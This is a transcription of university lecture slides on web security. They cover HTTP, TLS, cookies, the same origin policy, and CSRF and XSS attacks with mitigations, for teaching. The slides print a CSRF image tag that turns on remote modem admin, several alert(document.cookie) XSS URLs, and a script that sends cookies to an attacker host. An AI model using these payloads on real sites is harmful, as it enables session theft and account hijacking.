CIT 380: Securing Computer Systems

Save this PDF as:
 WORD  PNG  TXT  JPG

Size: px
Start display at page:

Download "CIT 380: Securing Computer Systems"

Transcription

1 CIT 380: Securing Computer Systems Web Security I CIT 380: Securing Computer Systems Slide #1

2 Topics 1. HTTP 2. Transport Layer Security (TLS) 3. URLs 4. HTML and the DOM 5. Same Origin Policy 6. Cross-Site Attacks CIT 380: Securing Computer Systems Slide #2

3 Web Transactions Web Server Web Browser OS Network CIT 380: Securing Computer Systems Slide #3

4 HTTP: HyperText Transfer Protocol Simple request/respond protocol Request methods: GET, POST, HEAD, etc. Protocol versions: 1.0, 1.1 Stateless Each request independent of previous requests, i.e. request #2 doesn t know you authenticated in #1. Applications responsible for handling state. Multiple state options: cookies, URLs, secret form parameters, supercookies. CIT 380: Securing Computer Systems Slide #4

5 HTTP Request Method URL Protocol Version GET HTTP/1.1 Headers Host: User-Agent: Mozilla/5.0 (Windows NT 5.1) Gecko/ Firefox/ Accept: text/html, image/png, */* Accept-Language: en-us,en;q=0.5 Cookie: rememberme=true; PREF=ID=21039ab4bbc49153:FF=4 Blank Line No Data for GET method CIT 380: Securing Computer Systems Slide #5

6 HTTP Response Protocol Version HTTP Response Code Blank Line HTTP/ OK Headers Cache-Control: private Content-Type: text/html Server: GWS/2.1 Date: Fri, 13 Oct :16:30 GMT <HTML>... (page data)... </HTML> Web Page Data CIT 380: Securing Computer Systems Slide #6

7 HTTP Methods Method GET HEAD PUT DELETE OPTIONS POST Description Retrieve resource located at specified URI. Retrieve metadata about resource located at specified URI. Useful for caches to determine if they need to retrieve an updated resource. Create or replace resource located at specified URI with resource provided by client. Delete resource located at specified URI. Return list of HTTP methods that can be used with specified URI. Create a new resource under the specified URI, e.g. adding a new message in a web forum, adding a comment to a blog post, annotating a photo, etc. In summary, POST is a way for a client to create a new resource without knowing its URI; the client just knows the URI of a parent or factory resource.

8 Different Security Perspectives Client Side Server Side HTTP requests may reveal private info. HTTP responses may reveal private info. HTTP responses may include malicious code (Java, ActiveX, JavaScript) HTTP requests may contain malicious input. HTTP requests may have forged authentication. HTTP responses may be intercepted. CIT 380: Securing Computer Systems Slide #8

9 Transport Layer Security (TLS) TLS protocol provides security features for other protocols, such as HTTP, IMAP, etc. 1. Authentication of server to client. 2. Optional authentication of client to server. 3. Confidentiality of communication. 4. Integrity of communication. TLS 1.0 was published in SSL 2.0 was first released in 1995 (insecure) TLS 1.2 is most recent, defined in CIT 380: Securing Computer Systems Slide #9

10 Transport Layer Security (TLS) TLS protocol provides security features for other protocols, such as HTTP, IMAP, etc. 1. Authentication of server to client. 2. Optional authentication of client to server. 3. Confidentiality of communication. 4. Integrity of communication. TLS 1.0 was published in SSL 2.0 was first released in 1995 (insecure) TLS 1.2 is most recent, defined in CIT 380: Securing Computer Systems Slide #10

11 TLS Operation CIT 380: Securing Computer Systems Slide #11

12 TLS Handshake

13 Cipher Suites 1. Key Exchange Algorithm Used to exchange session keys for bulk encryption algorithm. Examples: RSA, Diffie-Hellmann 2. Bulk Encryption Algorithm Used to encrypt message stream. Examples: RC4-128, Triple-DES, AES-128, AES Message Authentication Code MAC is keyed hash function to ensure integrity. Based on MD5, SHA-1, or SHA-2, key based on master secret. 4. Pseudorandom Function Used to create master secret, a 48-byte secret shared with both parties. Used to create session keys. CIT 380: Securing Computer Systems Slide #13

14 X.509 Digital Certificates Certificate contains Identity of issuer, who produced certificate. Identity of subject. Public key of subject. Range of dates for which certificate is valid. Digital signature from issuer. Signature means that issuer vouches that Public key belongs to subject, e.g. You really are connected to example.com. Client has list of trusted certificate authorities (CAs) Client will trust certificate if it is signed by one of those CAs or if issuer has a certificate that was signed by CA.

15 Certificate Authorities CA is an entity that issues digital certificates. Trusted 3 rd party that enables public key crypto. Hundreds of CAs exist in dozens of countries. CAs can revoke certificates too If certificate improperly issued or private key leaked. Certificate Revocation Lists (CRLs). Clients should check CRLs before using certificate. Example certificate authorities Symantec (Verisign, Thawte, Geotrust) Go Daddy CIT 380: Securing Computer Systems Slide #15

16 Certificate Validation How does CA know subject is who they claim to be? Competition between CAs drove prices low, So validation checks became perfunctory. Example: Diginotar CA issued certificate for gmail to someone from Iran in Extended Validation (EV) Certificates Known procedure verifies legal entity who controls site. Guidelines: https://cabforum.org/extended-validation/ CAs must pass a qualified audit to issue EV certificates. Cost is significantly higher. Browser UI indicates EV with location bar color. Slide #16

17 HTTPS (HTTP over SSL) HTTPS differences Default port is 443. Connection: close HTTP header ends session. RFC 2818: HTTP over TLS Encrypts URL of requested document HTTP headers HTTP bodies, including response documents All form parameters, as they are either in the URL or the HTTP body. CIT 380: Securing Computer Systems Slide #17

18 TLS Attacks Version and renegotiation attacks Trick browser into using insecure SSL or cipher version. Man-in-the-middle attacks Sslsniff, but will produce certificate warnings. Sslstrip converts https links to http links, so user communicates in plaintext with middleman. Certificate attacks Trick CA into issuing certificate to wrong person. Use crypto weaknesses to create certs for any site. Implementation attacks Heartbleed(2014): OpenSSL memory reading attack.

19 URL Format Whitespace (space, tab, ff, etc.) marks end of separates login credentials from hostname. : separates hostname from optional port number.? marks beginning of query string. & separates query parameters. # separates fragment identifier. %HH represents character with hex values. : /? # [ delimiters must be URL encoded. Slide #19

20 URL Encoding Query string is set of key-value pairs separated by &?q=cloud&lang=en Whitespace marks end of URL Special characters must be URL-encoded. %HH represents character as hex value, e.g. %20 = space. Special characters include whitespace / # & Any character may be encoded, including proto, path, &c. URL encoding is also used in the body of POST requests.

21 URL Examples CIT 380: Securing Computer Systems Slide #21

22 HTTP is a stateless protocol A stateful protocol allows requests to move the server into a different state, in which a request may produce a different result. Example protocols: FTP, SMTP, TCP FTP command get rest.txt will return a different file when cwd is /public rather than /private. A stateless protocol treats each request as an independent transaction that is unrelated to any previous request so that communication consists of independent pairs of requests and responses. Examples: HTTP, IP

23 Handling Statelessness Store state information directly in the address (URI) To access second page in google search for http : https://encrypted.google.com/webhp? q=http&safe=off&start=10 Works best for web services. Store state indirectly in an HTTP header (cookies) Set-Cookie header from server creates cookie. Client must return Cookie HTTP header with each subsequent request if it wants the server to remember its state. Cookie is a pointer to state stored on the server. Example: most shopping cart applications.

24 HTML <html> <head> <title>this is a title</title> </head> <body> <p class= only >Hello world!</p> <img src= images/hello.png /> </body> </html> CIT 380: Securing Computer Systems Slide #24

25 HTML Special Characters < begins a tag > ends a tag some browsers will auto-insert matching < and enclosed attributes optional unless spaces or other meaningful chars. & begins an HTML entity entities used to represent special characters. CIT 380: Securing Computer Systems Slide #25

26 HTML Entities Entities can encode any Unicode character. Reference UCS code point via the notation: &#nnnn; (decimal) or &#xhhhh; (hexadecimal) Some common entities have names. Special characters must be encoded as entities: & & < < > > " " &apos; ' Slide #26

27 Character Set Encoding Default: ISO (Latin-1) Char sets dictate which chars are special UTF-8 allows multiple representations Force Latin-1 encoding of web page with: <META http-equiv= Content-Type content= text/html; charset=iso > CIT 380: Securing Computer Systems Slide #27

28 HTML Forms <form> tag action=url destination for form input. method=get sends input as query string parameters method=post sends input as data in POST method <input> tag name=name of input. type attribute specifies checkbox, radio, text, etc. CIT 380: Securing Computer Systems Slide #28

29 HTTP POST Request Method URL Protocol Version POST HTTP/1.1 Headers Host: User-Agent: Mozilla/5.0 (Windows NT 5.1) Gecko/ Firefox/ Accept: text/html, image/png, */* Accept-Language: en-us,en;q=0.5 Blank Line name=jane+doe&sex=female&color=green&ove r6feet=true&over200pounds=false&athletic ability=na POST data CIT 380: Securing Computer Systems Slide #29

30 Hidden Fields <input type= hidden name= user value= james > Used to propagate data between HTTP requests since protocol is stateless. Clearly visible in HTML source. User can modify hidden values since form can be copied, modified to change hidden fields, then used to invoke script. CIT 380: Securing Computer Systems Slide #30

31 Document Object Model (DOM) DOM connects JavaScript and CSS to HTML documents. JavaScript can read and modify every element of HTML. Dynamic HTML (DHTML) = DOM + JavaScript + CSS. Capability used by threats in cross-site scripting attacks. CIT 380: Securing Computer Systems Slide #31

32 DHTML vs. Ajax CIT 380: Securing Computer Systems Slide #32

33 Cookies Server to Client Content-type: text/html Set-Cookie: foo=bar; path=/; expires Fri, 20-Feb :59:00 GMT Client to Server Content-type: text/html Cookie: foo=bar CIT 380: Securing Computer Systems Slide #33

34 Cookie Fields Expires: if specified, cookie may be saved to disk and persist across sessions. If not, then cookie persists for duration of session. Domain: allows cookie to be sent to servers other than the hostname that sent the Set-Cookie header. Path: ensures that cookie is only returned when URL path component is under path. Secure: prevents cookie from being sent over non-encrypted connections. HttpOnly: removes ability to read cookie via document.cookie API in JavaScript to protect against XSS. Slide #34

35 Cookie Security Policy Domain parameter limits which servers are sent cookie in complex ways (see table). Path parameter limits which paths are sent cookies, but JavaScript from any path can read cookies. CIT 380: Securing Computer Systems Slide #35

36 Same Origin Policy (SOP) Goal: prevent web pages of different origins from accessing each others data, such as cookies, hidden fields, web local storage, etc. Origin = scheme, hostname, and port. Example: evil.com should not be able to access cookies from example.com. CIT 380: Securing Computer Systems Slide #36

37 Is SOP appropriate? Sometimes SOP is too permissive: If hosting user web pages via ~name URLs, and share the same origin and thus no protection. Sometimes SOP is too restrictive: Web servers in subdomains for different purposes. and have different origins and cannot share cookies. CIT 380: Securing Computer Systems Slide #37

38 Cross-Site Attacks Target users of application. Use application feature to reach other users of application, bypassing same origin policy. Obtain assets of individual users rather than assets of entire application. One of the most common types of attack. Cross-Site Request Forgery (CSRF) Cross-Site Scripting (XSS)

39 Cross-Site Request Forgery A confused deputy attack. Exploits trust that application has with authentication sessions. Attack scenario: User authenticates to web application. User browses to another site containing a malicious CSRF attack link to web app. iframe, img, link, bgsound, etc. Browser accesses web app with cached credentials, performing whatever action specified by the link.

40 Example: DSL Modem Attack Home network devices are administered via web apps. Standard local IPs. Attacker inserts 1-pixel img tag on page. src is URL of form submission, giving remote admin. No password needed. Software owner assumed device on trusted local network. Of course, browser is on the local network too. <img src="http:// /forms/remoteres_1?nss_remotepas sword=blehblah&nss_enablewanadminaccessres=on&time outdisable=0&enable=enable" alt="" width="1" height="1" />

41 Mitigating CSRF Require POST for data modifications, but Many frameworks automatically fetch both types of parameters or convert one to other. Hidden POST requests can be created with scripts. Check referer header. But users can block or forge referer header, so it cannot be relied on for everyone. Use nonces. Random token inserted as hidden parameter, and thus submitted with form. But XSS can read form, so a combined XSS + CSRF attack can bypass this defense.

42 Mitigating CSRF Re-authenticate for high value transactions. Use out of band authentication if possible. Expire session IDs quickly. But there will always be some time period in which a CSRF attack will work. Automate defenses with tools. CSRFGuard to insert nonces. CSRFTester to verify application.

43 Cross-Site Scripting (XSS) Attacker causes a legitimate web server to send user executable content (Javascript, Flash ActiveScript) of attacker s choosing. Impact of XSS Account hijacking. Browser hijacking (malware hosting.) Information leakage (stored form values, etc.) Virtual defacement.

44 XSS Example Web application sends browser to an error page after user clicks submit. https://example.com/error.php?message=so rry%2c+an +error+occurred

45 XSS Example The error message is reflected back from the Web server to the client in a web page.

46 XSS Example We can replace the error with JavaScript https://example.com/error.php?message=<scri pt>alert( xss );</script>

47 Exploiting the Example 1. User logins in and is issued a cookie 2. Attacker feed the URL to user https://example.com/error.php?message=<scri pt>var+i=new+image;+i.src= er.com/ %2bdocument.cookie;</script>

48 Why does XSS Work? Same-Origin Policy Browser only allows Javascript from site X to access cookies and other data from site X. Attacker needs to make attack come from site X. Vulnerable Server Program Any program that returns user input without filtering out dangerous code.

49 Attack Scenario User clicks on link. Reflected XSS Injected script returned by one-time message from vulnerable site. User browser executes injected code. Limitations Non-persistent. Only works when user clicks. Most common type of XSS (~75%).

50 Anatomy of an XSS Attack Web Server Attacker User 3. XSS Attack 7. Browser runs injected code. 4. User clicks on XSS link. Evil site saves ID.

51 XSS URL Examples t=http://www.microsoft.com/education/?id=mctn&t arget="><script>alert(document.cookie)</script> _page2.html?tw=<script>alert( Test );</script> rt(document.cookie)</script>&frompage=4&page=1& ct=vvtv&mh=0&sh=0&rn=1 arch_exe?search_text=_%22%3e%3cscript%3ealert%2 8document.cookie%29%3C%2Fscript%3E

52 Stored XSS Injected script stored in Post or comment. Review. Uploaded file. User views page with injected script. Malicious action is taken while user is logged into site where malware found. Not technically cross-site. Attack persists until injected code deleted.

53 Browser Exploitation Framework BeEF hooks browsers via XSS exploit Can use as stored or reflected XSS. Hooked browsers are bots controlled by BeEF. Exploitation modules run on hooked browsers to View browsing history. Identify authenticated sessions. Phishing and other social engineering attacks. Port scans of network browser is running on. Reverse proxy into network browser is running on. Use Metasploit. CIT 380: Securing Computer Systems Slide #53

54 BeEF Screenshot CIT 380: Securing Computer Systems Slide #54

55 Mitigating XSS 1. Disallow HTML input 2. Allow only safe HTML tags 3. Encode output Replace HTML special characters in output ex: replace < with < and > with > also replace (, ), #, & 4. Tagged cookies Include IP address in cookie and only allow access to original IP address that cookie was created for.

56 Key Points 1. Key features of the web Understand features and risks of HTTP, HTML, DOM Both client and server must validate input. 2. HTTPS = HTTP + TLS Authentication of server via certificate. Confidentiality + integrity of data in transit. Input-based attacks like XSS can be delivered via SSL. 3. Same Origin Policy (SOP) Prevents web sites from accessing data from other sites. Protects cookies, headers, form parameters, etc. 4. Cross-site Attacks Bypass SOP by tricking vulnerable web application to get browser to run malicious code sent by attacker. Slide #56

57 References 1. Andreu, Professional Penetration Testing for Web Applications, Wrox, Goodrich and Tammasia, Introduction to Computer Security, Pearson, Joel Scambray, Mike Shema, Caleb Sima, Hacking Exposed Web Applications, Second Edition, McGraw-Hill, Sarkar and Fitzgerald, Attacks on SSL: A comprehensive study of BEAST, CRIME, TIME, BREACH, LUCKY 13, and RC4 biases, https://www.isecpartners.com/media/106031/ssl_attacks_survey.pdf, Stallings, Cryptography and Network Security: Principles and Practice, 6 th ed, Prentice Hall, Stuttart and Pinto, The Web Application Hacker s Handbook, 2 nd ed, Wiley, Michal Zalewski, The Tangled Web: A Guide to Securing Modern Web Applications, No Starch Press, 2012.